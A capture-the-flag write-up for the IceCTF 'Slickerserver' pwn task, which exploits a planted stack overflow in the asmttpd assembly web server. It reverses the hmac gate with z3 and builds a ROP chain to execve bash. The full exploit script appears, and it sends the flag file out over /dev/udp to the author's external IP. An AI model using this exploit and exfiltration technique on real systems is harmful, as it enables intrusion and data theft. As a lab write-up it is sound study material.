Well, my team SpectriX finished 4th in this CTF. We missed only one Stego task. The CTF was great and a lot of original tasks were proposed. I decided to make a writeup for Slickerserver task in pwn category since it was the hardest one and worthed 300 points.
In this task we were given a binary file named asmttpd (referring to https://github.com/nemasu/asmttpd) which is a HTTP server for Linux written in amd64 assembly.
In this task we were given a binary file named asmttpd (referring to https://github.com/nemasu/asmttpd) which is a HTTP server for Linux written in amd64 assembly.
The source code was modified to add a kind of backdoor which leaves a buffer overlow vulnerability. To exploit the vulnerability you have to satisfiy certain condition in a a hmac function to take control over the program.
Let's start analyzing the binary.
When you import the binary into IDApro, you can easily figure out that the program uses system calls instead of libraries in order to do networking, threading and file system operation stuff.
The program sets up the webroot directory specified as argument then it starts listening for incoming connections in port 6601. For each accepted client a worker_thread is created.
.text:0000000000401172 worker_thread:
.text:0000000000401172 mov rbp, rsp
.text:0000000000401175 sub rsp, 20h
.text:0000000000401179 mov qword ptr [rbp-10h], 0
.text:0000000000401181 mov qword ptr [rbp-20h], 0
.text:0000000000401189 mov rdi, 5E8h; allocated
.text:0000000000401190 sub rsp, rdi
.text:0000000000401193 mov [rbp-10h], rsp
.text:0000000000401197
.text:0000000000401197 worker_thread_start:
.text:0000000000401197 call sys_accept
.text:000000000040119C mov [rbp-8], rax
.text:00000000004011A0 mov rdi, rax
.text:00000000004011A3 call sys_cork
.text:00000000004011A8
.text:00000000004011A8 worker_thread_continue:
.text:00000000004011A8 mov rdi, [rbp-8]
.text:00000000004011AC mov rsi, [rbp-10h]
.text:00000000004011B0 mov rdx, 5F0h; accepted
.text:00000000004011B7 call sys_recv
.text:00000000004011BC cmp rax, 0
.text:00000000004011C0 jle worker_thread_close
.text:00000000004011C6 push rax
.text:00000000004011C7 mov r13, [rbp-20h] ;check overflow
.text:00000000004011CB test r13, r13
.text:00000000004011CE jz short worker_thread_continue_nohook
.text:00000000004011D0 mov rdi, [rbp-10h]
.text:00000000004011D4 call hmac ; overflow detected
.text:00000000004011D9 mov r15, 0FFFFFFFFDEADDEADh
.text:00000000004011E3 jmp rax
The worker allocates 1512 bytes in stack but it accepts up to 1520 bytes. A stack-based buffer overflow can be triggered and exploited here.
when the overflow occurs, it is detected by the program at 0x4011C7,0x4011CB and hmac function is called accordingly 0x4011D4.
Given an input (1512 bytes length), the function computes a hash value that serves as the address to jump to later. 0x4011E3
So if you want to take control over the program and let it jump to a specific address you have to provide the correct input to hmac function to get the address.
The next step is to reverse engineer the hmac function.
This is the implementation of hmac function that I wrote in python.
import struct
def reg(r):
return r & 0xffffffffffffffff
def murmur1(rdx, p, rsi):
CONST = 0x0A165C8277
rcx = reg(reg(rsi)* CONST) ^ reg(rdx)
if rsi > 7 :
for i in range(rsi/8):
rax = reg (reg(reg(rcx + p[i])) * CONST)
rcx = (rax >> 0x10) ^ rax
rdx = reg(((reg(reg(rcx) * CONST) >> 0xa) ^ reg(reg(rcx) * CONST)) * CONST)
rax = (rdx >> 0x11) ^ rdx
return rax
def hmac(rdi):
rax = 0
rbx = 0
for rax in range(0,1512,8):
rbx ^= struct.unpack("Q", rdi[rax:rax+8])[0]
v5 = rbx ^ 0x5C5C5C5C5C5C5C5C
p = []
p.append(v5)
p.append(struct.unpack("Q",rdi[1496:1496+8])[0])
p.append(struct.unpack("Q",rdi[1504:1504+8])[0])
rbp30 = murmur1(0xDEFACEDBAADF00D, p, 24)
v5 = rbx ^ 0x3636363636363636
p = []
p.append(v5)
p.append(rbp30)
p.append(struct.unpack("Q",rdi[1504:1504+8])[0])
result = murmur1(0x0FACEB00CCAFEBABE, p, 16)
assert result == 0x400e97
return result
The result depends mainly on 3 parameters. The result of xoring the input (8 bytes / block), 8 bytes starting from 1496 and last 8 bytes. I named these parameters xor, p1, p2 respectively.
To find a wanted input I used z3 theorem prover. To make solving easier, I tried to make xoring the input gives 0 and p2 = 0. Now I need to find the values of xor and p1 which give me the desired return address.
I fixed the desired return address as 0x400e97 which is the address of the first gadget of my rop chain.
Following is the code of my solver:
from z3 import *
import struct
def reg(r):
return r & 0xffffffffffffffff
def murmur1(rdx, p, rsi):
CONST = 0x0A165C8277
rcx = reg(rsi * CONST) ^ rdx
if rsi > 7 :
for i in range(rsi/8):
rax = reg((rcx + p[i]) * CONST)
rcx = LShR(rax, 0x10) ^ rax
rdx = reg((( LShR(reg(rcx * CONST), 0xa)) ^ reg(rcx * CONST)) * CONST)
rax = LShR(rdx, 0x11) ^ rdx
return rax
def hmac(rbx, p1, p2):
v5 = rbx ^ 0x5C5C5C5C5C5C5C5C
p = []
p.append(v5)
p.append(p1)
p.append(p2)
it1 = murmur1(0xDEFACEDBAADF00D, p, 24)
v5 = rbx ^ 0x3636363636363636
p = []
p.append(v5)
p.append(it1)
p.append(p2)
it2 = murmur1(0x0FACEB00CCAFEBABE, p, 16)
return it2
if __name__ == "__main__":
payload = "A"*1488+struct.pack("<Q",0x0)*3
payloadxor = 0
for i in range(0,1512,8):
payloadxor ^= struct.unpack("Q", payload[i:i+8])[0]
xor = BitVec("xor", 64)
p1 = BitVec("p1", 64)
p2 = BitVec("p2", 64)
s = Solver()
s.add(hmac(xor,p1,0) == 0x400e97)
status = s.check()
print s.model()
Here I spent long time waiting for the result and trying to simplify the equation of the solver. But finally I noticed that Z3py's right-shift BitVec operator appears to do arithmetic shifts! This took a LONG time to track down and then I fixed it by replacing it with LShR (Logical Shift Right).
Few minutes after running the solver scipt I got a result.
[
xor = 8084123859080867570
p1 = 6243103394520245037
]
This means that xoring my input must give 8084123859080867570 and long value at position 1496 must be equal to 6243103394520245037.
My payload format is the following:
payload = (ropchain+ "\x00" * (736 - len(ropchain)))*2 + pack("<Q",xor) + pack("<Q",xor ^ p1) + pack("<Q",xor) + pack("<Q",p1) + pack("<Q",p2)
Now it is time to construct a ROP chain which execute execve syscall. Note here that ASLR is disabled on server.
While building the ropchain you must take into consideration that there is another check to bypass. This check is done before triggering the syscall.
.text:00000000004011D9 mov r15, 0FFFFFFFFDEADDEADh
...
.text:0000000000400ED3 popitlikeitshot:
.text:0000000000400ED3
.text:0000000000400ED3 int 3
.text:0000000000400ED4 nop
My ropchain opens a shell in remote server. I tried to play with file descriptor to redirect the stdin and stdout to the active connection but finally I decided to make it execute /bin/bash with any command passed as argument. This was practical since netcat was disabled in addition to other networking features.
Assuming that the flag is in the same folder as the binary.
The command to execute to get the flag is;
bash -c "cat flag.txt > /dev/udp/164.132.103.207/53"
The ROP chain should perform:execve("/bin/bash",["/bin/bash", "-c", "cat flag.txt > /dev/udp/164.132.103.207/53"], NULL);
The final exploit is:from struct import pack
#from solver
xor = 8084123859080867570
p1 = 6243103394520245037
p2 = 0
recvbuf = 0x7FFFF7FDE9F8
#recvbuf = 0x7ffff7ff69f8
stackadd = recvbuf + 96
cmd = "/bin/bash"
argv1 = "-c"
argv2 = "cat flag.txt > /dev/udp/164.132.103.207/53" ; /dev/tcp and netcat are filtred
argv3 = ""
stack = cmd + "\x00" * (16 - len(cmd))
stack += argv1 + "\x00" * (16 - len(argv1))
stack += argv2 + "\x00" * (64 - len(argv2))
stack += argv3 + "\x00" * (16 - len(argv3))
#argv
stack+=pack("<Q", stackadd)
stack+=pack("<Q", stackadd+16)
stack+=pack("<Q", stackadd+32)
stack+=pack("<Q", stackadd+96)
stack+=pack("<Q", stackadd+112)
envp = 0
argv = stackadd+112
stackadd
ropchain=""
ropchain+=pack("<Q",0x400e3c); mov r15, rsi
ropchain+=pack("<Q",0x400e97); pop rcx; mov rax, r14; ret;
ropchain+= pack("<Q",0xFFFFFFFFFFBFEEC9) ; overflow r14
ropchain+=pack("<Q",0x400e93) ;add r14, rcx; pop rdi; pop rcx; mov rax, r14; ret;
ropchain+=pack("<Q",0x0);
ropchain+= pack("<Q",0x0);
ropchain+=pack("<Q",0x40011a); pop rdx; pop rsi; pop rdi; ret;
ropchain+=pack("<Q",envp)
ropchain+=pack("<Q",argv)
ropchain+=pack("<Q",stackadd)
ropchain+=pack("<Q", 0x4009b3); syscall
ropchain+=pack("<Q",0xbeef)
ropchain += stack
payload = (ropchain + "\x00" * (736 - len(ropchain)))*2
payload += pack("<Q",xor)
payload += pack("<Q",xor ^ p1)
payload += pack("<Q",xor)
payload += pack("<Q",p1)
payload += pack("<Q",p2)
print payload
Finally I run the exploit and the flag is received in my server.
root@maro-vm:~# nc -lu 53
root@maro-vm:~# python exploit.py | nc slick.vuln.icec.tf 6601
IceCTF{m4ster1ng_the_4rt_of_f1x3d_p0ints}
The task can be solved in many other ways. Such overriding the web_root value, reading a file from the server and returning back the content over the active client connection.
That's all
Thanks for reading